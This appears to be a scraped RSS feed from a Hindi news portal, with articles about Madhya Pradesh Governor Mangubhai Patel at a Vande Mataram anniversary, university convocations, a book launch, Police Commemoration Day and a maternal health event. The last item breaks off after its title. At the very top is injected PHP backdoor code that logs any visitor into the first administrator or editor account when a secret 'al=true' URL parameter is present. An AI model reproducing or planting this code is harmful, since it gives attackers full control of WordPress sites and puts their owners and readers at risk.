// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Governor Mangubhai Patel – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 07 Nov 2025 10:14:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 राज्यपाल मंगुभाई पटेल ने अधिकारी-कर्मचारियों के साथ गाया वंदे मातरम् https://pratyushaashakinayikiran.com/?p=189825 Fri, 07 Nov 2025 10:14:00 +0000 https://pratyushaashakinayikiran.com/?p=189825 राज्यपाल  मंगुभाई पटेल ने अधिकारी-कर्मचारियों के साथ गाया वंदे मातरम्

राष्ट्रीय गीत की 150वी वर्षगांठ पर राजभवन में हुआ आयोजन

भोपाल

राज्यपाल  मंगुभाई पटेल शुक्रवार को राजभवन के बैंक्वेट हॉल में राष्ट्रीय गीत वंदे मातरम् की 150 वीं वर्षगांठ कार्यक्रम में शामिल हुए। उन्होंने राजभवन के अधिकारी-कर्मचारियों के साथ राष्ट्रीय गीत वंदे मातरम् का गायन किया।

राज्यपाल  पटेल ने आज़ादी के संघर्ष, बलिदान और प्रेरणा के प्रतीक  बंकिमचंद्र चट्टोपाध्याय द्वारा रचित राष्ट्र गीत वंदे मातरम् की वर्षगांठ की सभी को शुभकामनाएँ दी।

इस अवसर पर राज्यपाल के प्रमुख सचिव डॉ. नवनीत मोहन कोठारी, अपर सचिव  उमाशंकर भार्गव, जनजातीय प्रकोष्ठ की सचिव मती मीनाक्षी सिंह सहित राजभवन के अधिकारी-कर्मचारी ने राष्ट्रीय गीत का सामूहिक गायन किया।

 

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ज्ञानवान होने के साथ उसे आचरण में उतारना जरूरी: राज्यपाल पटेल https://pratyushaashakinayikiran.com/?p=120196 Sat, 11 Jan 2025 19:06:00 +0000 https://pratyushaashakinayikiran.com/?p=120196 भोपाल
राज्यपाल श्री मंगुभाई पटेल ने कहा है कि ज्ञानवान होना ही पर्याप्त नहीं है, ज्ञान को आचरण में उतारना भी जरूरी है। भारत रत्न अटल बिहारी वाजपेयी जैसे महान कवि, लेखक और राष्ट्रभक्त की स्मृति में स्थापित विश्वविद्यालय के छात्र-छात्राओं का दायित्व है कि वह देश, समाज, समुदाय,परिवार और वंचितों के प्रति संवेदनशील रहें। राज्यपाल श्री पटेल शनिवार को कुशाभाऊ ठाकरे अंतर्राष्ट्रीय कन्वेंशन सेंटर हॉल में आयोजित अटल बिहारी वाजपेयी हिन्दी विश्वविद्यालय के पांचवें दीक्षांत समारोह में उपस्थित अतिथियों और विद्यार्थियों को संबोधित कर रहे थे।

राज्यपाल श्री पटेल ने कहा कि भावी जीवन में कैरियर की सफलताओं में माता-पिता, गुरूजन और समाज के जरूरतमंद पीछे नहीं छूटने चाहिए। पालकों के संघर्ष के पलों, समाज के सबसे पिछड़े, गरीब व्यक्ति के आपकी शिक्षा-दीक्षा में प्रत्यक्ष और परोक्ष सहयोग को सदैव याद रखें। दीक्षांत शपथ के दस्तावेज को सम्भाल कर रखें। प्रतिदिन उसे दोहराएं और उसके अनुसार आचरण करें। आस-पास के वंचितों की जरूरतों की जानकारी लें। उनको पूरा करने का यथा संभव प्रयास करें। उन्होंने स्वामी विवेकानंद का उल्लेख करते हुए कहा कि हर व्यक्ति में अपार क्षमता है आवश्यकता अपनी शक्तियों को जगाने की है। उन्होंने विद्यार्थियों को विश्वविद्यालय की गरिमा को बढ़ाने और समाज एवं राष्ट्र की सेवा में उत्कृष्ट योगदान देने के लिए शुभकामनांए दी।

भारतीय सूचना प्रौद्यौगिकी संस्थान भोपाल के निदेशक श्री आशुतोष सिंह ने महाभारत के मछली की आँख वाले प्रसंग का उल्लेख करते हुए बताया कि जीवन में सफलता के लिए कठिन प्रतिस्पर्धा हर युग में रही है, आगे भी रहेगी। भावी जीवन में भी रोज नई परीक्षा देनी होगी। आवश्यकता देश, काल और परिस्थिति के अनुसार स्वयं को ढालकर प्रयास करने की है। अंधेरा कितना भी घना हो, दिया जलाने पर रोक नहीं लगाता है। उन्होंने कहा कि याद रहे मंजिल उन्हें मिलती है जिनके सपनों में जान होती है। पंख होना पर्याप्त नहीं, उड़ान का हौसला होना जरूरी है।

संचालक म.प्र. हिन्दी ग्रन्थ अकादमी श्री अशोक कडैल ने कहा कि राष्ट्रीय शिक्षा नीति आधुनिक तकनीकी और रोजगार मूलक शिक्षा व्यवस्था के साथ ही भारतीय संस्कृति की जड़ों से जुड़ी व्यवस्था है। अटल बिहारी वाजपेयी हिन्दी विश्वविद्यालय द्वारा इस दिशा में किए जा रहे प्रयासों का उल्लेख करते हुए कहा कि भारतीय जनमानस के साथ संवाद और संपर्क का प्रभावी माध्यम भारतीय भाषाएं है। उन्होंने कहा कि गैर पारम्परिक हिन्दी विश्वविद्यालय के छात्रों का दायित्व है कि वह हिन्दी के मान सम्मान को समृद्ध और सफल बनाने में योगदान करें। उन्होंने विद्या‍र्थियों को स्वामी विवेकानंद के विचारों से प्रेरणा लेने के लिए कहा है।

विश्वविद्यालय के कुलगुरू श्री खेम सिंह डहेरिया ने विश्वविद्यालय के प्रगति प्रतिवेदन का विवरण दिया। उन्होंने बताया कि विश्वविद्यालय वाणिज्य़,एम.बी.ए. तथा शिक्षा शास्त्र में स्नातकोत्तर उपाधि के साथ ही डेयरी संचालन में डिप्लोमा पाठ्यक्रम की आगामी सत्र से शुरुआत करेगा। कृषि एवं इंजीनियरिंग पाठ्यक्रम भी प्रारंभ किए जाएंगे। उन्होंने विश्वविद्यालय के प्रकाशनों का कार्यक्रम में लोकार्पण अतिथियों के द्वारा कराया। आभार प्रदर्शन कुलसचिव श्री शैलेन्द्र कुमार जैन ने किया।

कार्यक्रम के प्रारंभ में अतिथियों ने माँ शारदा की प्रतिमा पर पुष्प अर्पित किये। उन्होंने स्व. वाजपेयी के चित्र पर पुष्पांजलि भी दी। दीक्षांत समारोह में राज्यपाल एवं मंचासीन अतिथियों का शॉल, श्रीफल, स्मृति प्रतीक एवं पौधा भेंट कर स्वागत किया गया। राज्यपाल ने विभिन्न संकायों के पदक विजेताओं को पुरस्कृत किया। दीक्षांत अवसर पर वर्ष 2023-24 के 71 स्नातकोत्तर तथा 113 स्नातक छात्र-छात्राओं को उपाधियां प्रदाय की गई है। सभी दीक्षित विद्यार्थियों को कार्यक्रम में दीक्षांत शपथ भी दिलाई गई।

 

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विश्वविद्यालय क्षेत्रीय संसाधनों और परिवेश की संभावनाओं को पहचाने : राज्यपाल पटेल https://pratyushaashakinayikiran.com/?p=118999 Wed, 08 Jan 2025 21:06:00 +0000 https://pratyushaashakinayikiran.com/?p=118999 भोपाल
राज्यपाल मंगुभाई पटेल ने कहा कि विश्वविद्यालय की व्यवस्थाओं में उच्च गुणवत्ता को लक्ष्य बनाए। लक्ष्य और प्राप्ति के प्रयासों के लिए राष्ट्रीय शिक्षा नीति में विश्वविद्यालयों को पर्याप्त स्वायत्ता दी गई है। जरूरी है कि कुलगुरू अपनी क्षमताओं, विश्वविद्यालय के संसाधनों और आस-पास के परिवेश के अनुसार विकास की संभावनाओं की पहचान करें। ख्यमंत्री डॉ. मोहन यादव ने कहा है कि विश्वविद्यालय राष्ट्रीय शिक्षा नीति के परिप्रेक्ष्य में अपने सीमित दायरे से बाहर निकलें। वर्तमान की मांग और भविष्य की संभावनाओं पर कार्ययोजना तैयार करें। उन्होंने उच्च शिक्षा विभाग के अधिकारियों को निर्देशित किया है कि टॉस्क फोर्स बना कर समय-सीमा में सभी विश्वविद्यालयों की कार्ययोजना तैयार कराई जाए। राज्यपाल श्री पटेल और मुख्यमंत्री डॉ. यादव बुधवार को राजभवन में आयोजित शासकीय विश्वविद्यालयों के कुलगुरूओं की बैठक को संबोधित कर रहे थे।  उप मुख्यमंत्री श्री राजेन्द्र शुक्ल और पशुपालन एवं डेयरी विकास राज्यमंत्री (स्वतंत्र प्रभार) श्री लखन पटेल भी मौजूद थे।

विद्यार्थी कल्याण के लिए संवेदनशील रहें : राज्यपाल श्री पटेल
राज्यपाल श्री पटेल ने कुलगुरूओं से कहा है कि विद्यार्थी कल्याण के विषयों के प्रति संवेदनशील रहें। अभिभावक अपने बच्चें सरकार के भरोसे पर शासकीय विश्वविद्यालयों में भेजते हैं। उनकी देख-भाल पालक के दृष्टिकोण के साथ की जाए। उन्होंने कहा कि कुलगुरू नियमित आधार पर छात्रावास, मेस, खेल सुविधाओं और कक्षाओं का नियमित निरीक्षण भी करें।

रोजगार की क्षेत्रीय संभावनाओं के लिए पाठ्यक्रम बनाए
राज्यपाल श्री पटेल ने कहा कि विश्वविद्यालय क्षेत्रीय स्तर पर रोजगार की सम्भावनाओं को बढ़ाने वाले पाठ्यक्रमों पर फोकस करें। डिग्री, डिप्लोमा के साथ ही मांग आधारित पाठ्यक्रम भी प्रारम्भ किये जाएं। स्थानीय उद्योगों, व्यवासायिक प्रतिष्ठानों की आवश्यकताओं के अनुसार मानव संसाधन की उपलब्धता के रोजगार लिए संबद्ध विषयों के अध्ययन की व्यवस्था भी की जानी चाहिए। उन्होंने विश्वविद्यालय में खेल सुविधाओं की उपलब्धता और उनके उन्नयन के लिए भी विशेष प्रयास करने की जरूरत बताई। राज्यपाल श्री पटेल ने कहा कि  रेडक्रास की गतिविधियों में विद्यार्थियों की अधिकाधिक सहभागिता की जाए।

रोज़गार आधारित कोर्स प्रारंभ करने बनाएं प्लॉन – मुख्यमंत्री डॉ. यादव
मुख्यमंत्री डॉ. मोहन यादव ने कहा कि सभी विश्वविद्यालय बहु विषयक आत्मनिर्भर विश्वविद्यालय बनें। परम्परागत विषयों के साथ ही मांग आधारित और रोजगार की उच्च संभावनाओं वाले कोर्स प्रारंभ करने विशेष प्रयास करें।

ऑनलाईन वैल्यूएशन कार्य को बढ़ावा दें
मुख्यमंत्री डॉ. यादव ने कहा कि विश्वविद्यालय, राष्ट्रीय शिक्षा नीति में प्रदान स्वायत्ता के आधार पर व्यवस्थाओं को सुचारू बनाएं। विद्यार्थियों को प्रवेश की सुविधा, उत्कृष्ट शिक्षा, समय पर परीक्षा और तत्काल परिणाम घोषणा के लिए आधुनिक तकनीक का उपयोग किया जाए। परीक्षा की उत्तर पुस्तिकाओं के ऑनलाइन मूल्यांकन की व्यवस्था को बढ़ावा दें। इसी तरह प्रवेश के समय ही अंकसूची और डिग्री वितरण के लिए आवश्यक औपचारिकताओं को पूरा किया जाए, जिससे विद्यार्थियों के डीजी लॉकर में उनकी त्वरित उपलब्धता सुनिश्चित हो।

शासकीय विश्वविद्यालयों को मिलेगा पूरा सहयोग
मुख्यमंत्री डॉ. यादव ने कहा कि सरकार उच्च शिक्षण संस्थानों की बेहतरी के लिए प्रतिबद्ध है। विश्वविद्यालयों को पूरा सहयोग सरकार दे रही है। विश्वविद्यालयों को वित्तीय, भौतिक और मानव संसाधनों की उपलब्धता सुनिश्चित कराने में सरकार ने नवीन पहल कर संसाधन सम्पन्न बनाया है। विश्वविद्यालयों का स्टॉफ सरकार के लिए शासकीय सेवकों के समान ही महत्वपूर्ण है।

स्व-वित्तीय व्यवस्था पर मंथन करें विश्वविद्यालय
मुख्यमंत्री डॉ. यादव ने कहा कि विश्वविद्यालयों को आत्मनिर्भर होना होगा। विश्वविद्यालय की उत्कृष्टता के लिए संसाधन और संभावनाओं के दोहन के लिए नई दूरदृष्टि के साथ कार्य करना होगा। इसके लिए निज संसाधनों, स्व-वित्त पोषित और पीपीपी मॉडल की उपयुक्तता के संबंध में कुलगुरूओं को अपनी प्रतिभा और सामर्थ्य का प्रदर्शन करना होगा। विश्वविद्यालय की भौतिक एवं शैक्षणिक आवश्यकताओं को बेहतर करना, कुलगुरूओं का दायित्व है। जिसके आधार पर उनके कार्य का मूल्यांकन भी किया जाएगा। मुख्यमंत्री डॉ. यादव ने कहा कि परम्परागत, तकनीकी और व्यावसायिक पाठ्यक्रम आधारित विश्वविद्यालयों को उनके कार्य क्षेत्र के अलावा अन्य क्षेत्रों में विस्तारित करना चाहिए।

डिजिटल वैल्यूएशन विद्यार्थी के हित में : उच्च शिक्षा मंत्री श्री सिंह
बैठक में उच्च शिक्षा मंत्री श्री इंदर सिंह परमार ने कहा कि परीक्षाओं का प्रभावी, पारदर्शी और निष्पक्ष संचालन जरूरी है। डिजिटल वैल्यूएशन विद्यार्थी हितों के अनुकूल है। विश्वविद्यालय परीक्षा मूल्यांकन संबंधी कार्यों में आधुनिक तकनीक का बेहतर इस्तेमाल करें। समय पर परीक्षा परिणाम तैयार करने के लिए डिजिटल वैल्यूएशन प्रणाली की संभावनाओं को तलाशा जाए। उन्होंने कहा कि विश्वविद्यालय में राशियों के जमा करने की व्यवस्था का भी परीक्षण करें। विश्वविद्यालय के विकास में राशि के उपयोग और निवेश के संबंध में भी कार्यवाही की जाना चाहिए।

 

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दूसरों को बड़ा करने में ही शिक्षित व्यक्ति का गौरव : राज्यपाल https://pratyushaashakinayikiran.com/?p=117508 Sat, 04 Jan 2025 20:29:00 +0000 https://pratyushaashakinayikiran.com/?p=117508 भोपाल
राज्यपाल श्री मंगुभाई पटेल ने कहा कि अपने ज्ञान से दूसरों को बड़ा करने में ही शिक्षित व्यक्ति का गौरव है। उसकी शिक्षा का गौरव है। उन्होंने कहा कि आज से 38 वर्ष पूर्व कम्प्यूटर ज्ञान के प्रसार के लिए ‘कम्प्यूटर एक परिचय’ पुस्तक की रचना कर, लेखक ने अपनी शिक्षा को गौरवान्वित किया है। संपूर्ण समाज को लाभान्वित करने का उनका प्रयास अभिनंदनीय है। राज्यपाल श्री पटेल आईसेक्ट पब्लिकेशन की पुस्तक ‘कम्प्यूटर एक परिचय’ के 40 वें संस्करण के लोकार्पण कार्यक्रम को स्थानीय कुशाभाऊ ठाकरे अंतर्राष्ट्रीय कन्वेंशन सेंटर, भोपाल में संबोधित कर रहे थे। कार्यक्रम के विशिष्ट अतिथि के रूप में मध्यप्रदेश हिन्दी ग्रंथ अकादमी के पूर्व निदेशक श्री शिव कुमार अवस्थी भी मंचासीन थे।

राज्यपाल श्री पटेल ने कहा कि पुस्तक लेखन समाज सेवा का सशक्त माध्यम है। नई सोच और दृष्टि के द्वारा समाज का मार्गदर्शन करने वाले लेखकों का सम्मान समाज का दायित्व है। उन्होंने युवाओं से अपील की है कि ज्ञान के लिए केवल पाठ्य पुस्तकों पर निर्भर नहीं रहे, पुस्तकों में उपलब्ध हमारे देश, समाज और संस्कृति के ज्ञान का भी अध्ययन करे। उन्होंने कहा कि प्रधानमंत्री श्री नरेन्द्र मोदी जी के नेतृत्व में आध्यात्मिक, सांस्कृतिक और वैचारिक परिवर्तन का नया दौर शुरू हुआ है, जिसकी आजादी के समय से ही देश अपेक्षा कर रहा था। प्रधानमंत्री श्री नरेन्द्र मोदी ने राष्ट्र निर्माण के प्रयासों में युवाओं को महत्वपूर्ण भूमिका देने के लिए राष्ट्रीय शिक्षा नीति में बंधन मुक्त शिक्षा का अभूतपूर्व अवसर दिया है। प्रधानमंत्री श्री मोदी आगामी 13-14 जनवरी को देश के 3 हजार युवाओं के साथ संवाद करेंगे। राज्यपाल श्री पटेल ने कार्यक्रम को देखने का अनुरोध किया है। उन्होंने कहा है कि वैचारिक चिंतन में सहभागिता से नए विषयों और कार्यों के संबंध में जानकारी मिलती है। भविष्य के पथ का प्रदर्शन होता है। ‘कम्प्यूटर एक परिचय’ पुस्तक के लेखक श्री संतोष चौबे की सराहना करते हुए उनके स्वस्थ और सुदीर्घ जीवन की शुभकामनाएं दी।

राज्यपाल श्री पटेल का रवीन्द्रनाथ टैगोर विश्वविद्यालय के कुलाधिपति श्री संतोष चौबे ने शॉल, श्रीफल, स्मृति चिन्ह और आईसेक्ट पब्लिकेशन के विज्ञान लेखन की पुस्तकों और भारतीय वैज्ञानिकों के मोनोग्राफ का सेट भेंट किया। मध्यप्रदेश निजी विश्वविद्यालय विनियामक आयोग के अध्यक्ष श्री भरत शरण सिंह ने भारतीय ज्ञान परम्परा में कम्प्यूटर के सिद्धांतों की उपलब्धता और कम्प्यूटर निर्माण में भारतीय वैज्ञानिकों के योगदान को प्रकाशित किया। कम्प्यूटर एक परिचय पुस्तक की महत्ता पर प्रकाश डाला। उन्होंने कहा कि पुस्तक ने भारतीय भाषाओं में डिजिटल साक्षरता को बढ़ाने में महत्वपूर्ण योगदान दिया है। उन्होंने पुस्तक की रचना के लिए लेखक को बधाई दी।

रवीन्द्रनाथ टैगोर विश्वविद्यालय के कुलाधिपति श्री संतोष चौबे ने पुस्तक की रचना की पृष्ठ भूमि और विकास का विवरण देते हुए बताया कि देश में तकनीक का विकास भारतीय भाषाओं के माध्यम से ही सम्भव है। संस्था द्वारा 6 विश्वविद्यालय संचालित किए जा रहे है। संस्थान उत्तरपूर्व में 7वें विश्वविद्यालय की स्थापना की दिशा में आगे बढ़ रहा है। उन्होंने कहा कि तकनीक के नवाचार और समाज के साथ जुड़ाव के द्वारा हर क्षेत्र में विकास की अपार सम्भावनाएं है। इसका उदाहरण देते हुए बताया कि कृत्रिम बुद्धिमत्ता से किताब का लेखन किया जा सकता है, किन्तु किस विषय और भाषा पर पुस्तक लिखी जानी है, यह वास्तविक बुद्धिमत्ता से ही सम्भव है।

स्वागत उद्बोधन स्कोप ग्लोबल स्किल यूनिवर्सिटी के चान्सलर श्री सिद्धार्थ चतुर्वेदी ने दिया। उन्होंने बताया कि पुस्तक ने देश में कम्प्यूटर के प्रति लोगों के दृष्टिकोण में बदलाव और सोच को नई दिशा देने का कार्य किया है। पुस्तक के प्रकाशन के बाद संस्थान निर्माण के दुनियां में जो उदाहरण मिलते है, उसमें ‘कम्प्यूटर एक परिचय’ पुस्तक का भी स्थान है। पुस्तक की सफलता ने आईसेक्ट पब्लिकेशन को जन्म दिया। आभार प्रदर्शन रबीन्द्र नाथ टैगोर विश्वविद्याल के कुलसचिव श्री विजय सिंह ने किया। संचालन विश्वविद्यालय की प्रो. चान्सलर डॉ. अदिति चतुर्वेदी ने किया।

 

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दीक्षांत, शिक्षा और संस्कारों के साथ राष्ट्र सेवा के संकल्प का प्रसंग: राज्यपाल पटेल https://pratyushaashakinayikiran.com/?p=106179 Wed, 04 Dec 2024 18:06:00 +0000 https://pratyushaashakinayikiran.com/?p=106179 भोपाल

राज्यपाल मंगुभाई पटेल ने कहा कि दीक्षांत, विद्यार्थियों के लिए शिक्षा और संस्कारों के साथ राष्ट्र सेवा के संकल्प का प्रसंग है। अपनी बौद्धिक, सांस्कृतिक परम्पराओं और संस्कारों को पोषित और पल्लवित करने की प्रतिबद्धता का अवसर है। राज्यपाल पटेल आई.ई.एस. विश्वविद्यालय भोपाल के प्रथम दीक्षांत समारोह को संबोधित कर रहे थे। इस अवसर पर दीक्षित विद्यार्थियों और विभिन्न संकायों के विद्यार्थियों को उपाधि और पदक प्रदान किए।कार्यक्रम में उच्च शिक्षा मंत्री इंदर सिंह परमार भी मौजूद थे।

राज्यपाल पटेल ने कहा कि प्रथम दीक्षांत समारोह, विद्यार्थी और विश्वविद्यालय दोनों के लिए अत्यंत भावनात्मक और अविस्मरणीय पल होता है। नये भविष्य के निर्माण पथ पर आगे बढ़ने का महत्वपूर्ण पड़ाव होता है। उन्होंने दीक्षित विद्यार्थियों से कहा कि आप सभी विकसित भारत के अमृत प्रसंग की प्रतिनिधि पीढ़ी है। आपकी पीढ़ी सौभाग्यशाली है जिन्हें प्रधानमंत्री नरेन्द्र मोदी के द्वारा राष्ट्र निर्माण की प्रक्रिया में योगदान का ऐतिहासिक अवसर मिला है।

    विकसित भारत यंग लीडर्स संवाद में जरूर हिस्सा लें युवा

राज्यपाल पटेल ने कहा कि युवा, कैसा विकसित भारत देखना चाहते है, उसके लिए सरकार को क्या और कैसे करना चाहिए, इन पर अपने विचार सरकार के शीर्ष स्तर तक पहुँचा सकते है। उन्होंने विद्यार्थियों से अपील की कि 12 जनवरी 2025 के ऐतिहासिक प्रसंग के अवसर पर विकसित भारत यंग लीडर्स संवाद का हिस्सा जरूर बने। विकसित भारत से संबंधित रोचक ऑनलाइन क्विज प्रतियोगिता, ब्लॉक और निबंध लेखन की राज्य और राष्ट्रीय स्तर की प्रतियोगिताओं में उत्साहपूर्वक भाग ले। राज्यपाल पटेल ने विश्वविद्यालय प्रबंधन से भी कहा कि संवाद में शामिल होने के लिए छात्र-छात्राओं को प्रेरित करें। उन्हें आवश्यक सुविधाएं, सहूलियत और सहयोग प्रदान करे। विश्वविद्यालय स्तर पर विकसित भारत यंग लीडर्स संवाद के प्रारूप अनुसार प्रतियोगिताएं आयोजित करे।

उच्च शिक्षा मंत्री परमार ने कहा कि भारत की ज्ञान परम्परा वैज्ञानिक दृष्टिकोण पर आधारित है। विद्यार्थी भारत की समृद्ध ज्ञान परम्परा से जुड़े, सतत अध्ययन करे, अपने स्तर पर आगे बढ़ाने सहभागिता करे और इस पर हमेशा गर्व करें। उन्होंने विश्वविद्यालय और दीक्षित विद्यार्थियों को प्रथम दीक्षांत समारोह की बधाई भी दी। कार्यक्रम में राज्यसभा सांसद श्रीमती सुधा मूर्ति ने भी दीक्षित विद्यार्थियों को जीवन में सफल होने, चुनौतियों से जुझने और आत्म मंथन प्रक्रिया पर ज्ञानवर्धक और प्रेरक उद्बोधन दिया।

राज्यपाल पटेल ने समारोह का शुभारम्भ दीप प्रज्ज्वलन कर किया। उनका कुलाधिपति बी.एस. यादव ने शॉल, श्रीफल और स्मृति चिन्ह भेंट कर अभिनंदन किया। राज्यपाल पटेल ने दीक्षांत समारोह में राज्यसभा सांसद श्रीमती सुधा मूर्ति, समाजसेवी पद्मअशोक भगत और कारगिल युद्ध के परमवीर चक्र विजेता सूबेदार मेजर योगेन्द्र सिंह यादव को मानद उपाधि प्रदान की। स्वागत उद्बोधन कुलाधिपति यादव ने दिया। कुलपति जी.के. पाण्डेय ने वार्षिक प्रतिवेदन प्रस्तुत किया। आभार देवांश यादव ने माना। कार्यक्रम में सुदेश शांड़िल्य जी महाराज, विश्वविद्यालय के विभिन्न संकाय अध्यक्ष और विद्यार्थीगण उपस्थित रहे।

 

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आमजन के प्रति पुलिस सजग, संवेदनशील और विनम्र रहे : राज्यपाल पटेल https://pratyushaashakinayikiran.com/?p=87999 Mon, 21 Oct 2024 15:08:00 +0000 https://pratyushaashakinayikiran.com/?p=87999 आमजन के प्रति पुलिस सजग, संवेदनशील और विनम्र रहे : राज्यपाल पटेल

राज्यपाल ने पुलिस स्मृति दिवस पर शहीद जवानों को दी श्रद्धांजलि

राज्यपाल पटेल ने शहीद परिजन से आत्मीय मुलाकात कर कहा – प्रदेश की जनता, सरकार, पुलिस और प्रशासन आपके साथ

भोपाल

राज्यपाल मंगुभाई पटेल ने कहा कि लोकतांत्रिक व्यवस्था में पुलिस, सशक्त समाज का आधार होती है। पुलिस की सक्रियता और उसका व्यवहार आम आदमी को सुरक्षित महसूस कराता है। आमजन के प्रति पुलिस सजग, संवेदनशील और विनम्र रहे। राज्यपाल पटेल पुलिस स्मृति दिवस पर भोपाल के लाल परेड ग्रांउड में आयोजित कार्यक्रम को संबोधित कर रहे थे। उन्होंने शहीद स्मारक पर पुष्पाजंलि अर्पित कर शहीद पुलिस कर्मियों के परिजन से आत्मीय मुलाकात की। कार्यक्रम में मुख्य सचिव अनुराग जैन भी मौजूद थे।

राज्यपाल पटेल ने कहा कि पुलिस, समाज का अभिन्न हिस्सा है। पुलिस की सक्रिय भागीदारी के बिना विकास की सोच को फलीभूत करना संभव नहीं है। विकास के लिए समाज में शांति, सद्भाव और भाईचारे का वातावरण बहुत जरूरी है। उन्होंने कहा कि हम सब के लिए गर्व की बात है कि मध्यप्रदेश पुलिस की गणना देश के श्रेष्ठ बलों में की जाती है। प्रदेश पुलिस ने ‘देशभक्ति-जनसेवा’ के सूत्र वाक्य को सार्थक किया है। कर्त्तव्यनिष्ठा के उच्च प्रतिमान के साथ कीर्तिमान स्थापित किए हैं।

बदलती परिस्थितियों में पुलिस स्वयं को निरंतर अपडेट रखे

राज्यपाल पटेल ने कहा कि पुलिस की बड़ी जिम्मेदारी है कि कानून-व्यवस्था को सुनिश्चित करते हुए देश-प्रदेश की अखंडता, सामाजिक और सांस्कृतिक सद्भाव को बनाए रखें। जनता से समन्वय बनाए रखना भी पुलिस की महत्वपूर्ण जिम्मेदारी है। उन्होंने कहा कि बदलती परिस्थितियों के अनुरूप पुलिस स्वयं को निरंतर अपडेट रखे। राज्यपाल पटेल ने एक ही दिन में सवा लाख पौधे रोपने, सभी जिलों में पुलिस बैंड और महिला थाना की स्थापना, पुलिस परिवारों के लिए 25 हजार मकान बनाने के लक्ष्य एवं 950 महिला ऊर्जा डेस्क की स्थापना जैसे कार्यों के लिए प्रदेश पुलिस की सराहना की।

राज्यपाल पटेल को कार्यक्रम में पाल-बेयरर पार्टी द्वारा शहीद जवानों की सम्मान सूची सौंपी गई। पार्टी द्वारा परेड सलामी की समस्त कार्यवाही की गई। इस अवसर पर पुलिस महानिदेशक सुधीर कुमार सक्सेना ने श्रद्धांजलि उद्बोधन दिया। उन्होंने 21 अक्तूबर 1959 को लद्दाख के दुर्गम इलाकों में हुई भारतीय जवानों के शौर्य और शहादत को नमन् किया। साथ ही मध्यप्रदेश पुलिस के शहीद जवानों को भी श्रद्धा-सुमन अर्पित किये। वरिष्ठ प्रशासनिक, पुलिस अधिकारियों और विशिष्टजनों ने शहीद स्मारक पर पुष्पाजंलि अर्पित की। कार्यक्रम में अपर मुख्य सचिव एस.एन. मिश्रा, एडीजी शापू, वरिष्ठ पुलिस अधिकारी, सेनानिवृत्त पुलिस एवं प्रशासन के अधिकारी और शहीद पुलिसकर्मियों के परिजन उपस्थित रहे।

 

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देश के स्वस्थ भविष्य का आधार स्वस्थ माँ : राज्यपाल मंगुभाई पटेल https://pratyushaashakinayikiran.com/?p=59764 Mon, 12 Aug 2024 12:46:00 +0000 https://pratyushaashakinayikiran.com/?p=59764 भोपाल

राज्यपाल मंगुभाई पटेल ने कहा कि देश के स्वस्थ भविष्य का आधार स्वस्थ माँ होती है। माँ स्वस्थ होगी तो बच्चा स्वस्थ होगा। बच्चा स्वस्थ होगा तो परिवार, समाज और देश भी स्वस्थ होगा। राज्यपाल पटेल ने कहा कि समाज के हित के रचनात्मक कार्य आत्मसंतुष्टि प्रदान करते है। उन्होंने बच्चों और महिलाओं के स्वास्थ्य और सशक्तिकरण के लिए किए जा रहे संस्था के प्रयासों की सराहना की। राज्यपाल पटेल अल्टीमेट फूडीज द्वारा होटल सयाजी में आयोजित 'वूमन एंड चाइल्ड हेल्थ एम्पावरमेंट' कार्यक्रम को संबोधित कर रहे थे।

राज्यपाल मंगुभाई पटेल ने कहा कि बच्चे के जन्म के बाद के 1 हजार दिवस उसके स्वास्थ्य और भविष्य की नींव रखते है। बच्चे के जन्म के बाद का माँ का दूध अमृत के समान होता है। इसी प्रकार समय-समय पर लगाए जाने वाले टीके भी बहुत महत्वपूर्ण होते है। अभिभावकों को इस अवधि में बच्चे की परवरिश पर विशेष ध्यान देना चाहिए। उन्होंने कहा कि संस्था गर्भवती माताओं को बच्चे के स्वास्थ्य, स्तनपान और जरूरी जाँचों के प्रति जागरूक करने का काम करे। दूरस्थ अंचलों तक स्तनपान और पोषण आहार के संबंध में प्रचलित भ्रान्तियों को दूर करने में सहयोग करे।

पौधा लगाएं और देखभाल भी सुनिश्चित करे

राज्यपाल मंगुभाई पटेल ने कहा कि बदलते मौसम के कारण महिला एवं बच्चों के स्वास्थ्य संबंधी अनेक चुनौतियाँ है। इसलिए सरकार के "एक पेड़- माँ के नाम" अभियान के तहत हर व्यक्ति अपने घर, अपने कार्यालय या जहाँ भी सम्भव हो एक पेड़ जरूर लगाएं। उन्होंने सभी से आव्हान किया कि पौधा रोपण के बाद उसकी देखभाल की जिम्मेदारी भी उठाएं।

राज्यपाल मंगुभाई पटेल ने कहा कि विकसित देश और समाज के लिए मातृ और शिशु स्वास्थ्य महत्वपूर्ण होता है। बच्चों का जीवन और उनका समग्र विकास समृद्ध राष्ट्र के निर्माण का महत्वपूर्ण पहलू है। केन्द्र एवं प्रदेश सरकार द्वारा भी मातृ एवं शिशु स्वास्थ्य के लिए अनेक कल्याणकारी योजनाएं चलाई जा रही है। संस्था सरकार के प्रयासों को सिम्पैथी और एम्पैथी के साथ पात्र लाभार्थी और वंचित वर्गों तक पहुँचाने में विशेष सहयोग करे।

राज्यपाल मंगुभाई पटेल का कार्यक्रम में पुष्पगुच्छ से स्वागत और स्मृति चिन्ह भेंट कर अभिनन्दन किया गया। राज्यपाल पटेल ने कार्यकम में बच्चों और महिलाओं को पोषण किट का वितरण किया और प्रदर्शनी का अवलोकन किया। अल्टीमेट फूडीज संस्था के फाउंडर आबिद फारूकी ने स्वागत उद्बोधन दिया और आभार व्यक्त किया। डॉ. रेणु यादव ने संस्था द्वारा संचालित महिला और बच्चों के स्वास्थ्य और सशक्तिकरण की गतिविधियों की जानकारी दी। कार्यक्रम में संस्था से जुड़े अन्य क्लब के सदस्य उपस्थित रहे।   

 

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दूरस्थ अंचलों तक बेसिक लाइफ़ सपोर्ट की जागरूकता आवश्यक : राज्यपाल पटेल https://pratyushaashakinayikiran.com/?p=59596 Sun, 11 Aug 2024 18:10:00 +0000 https://pratyushaashakinayikiran.com/?p=59596 भोपाल
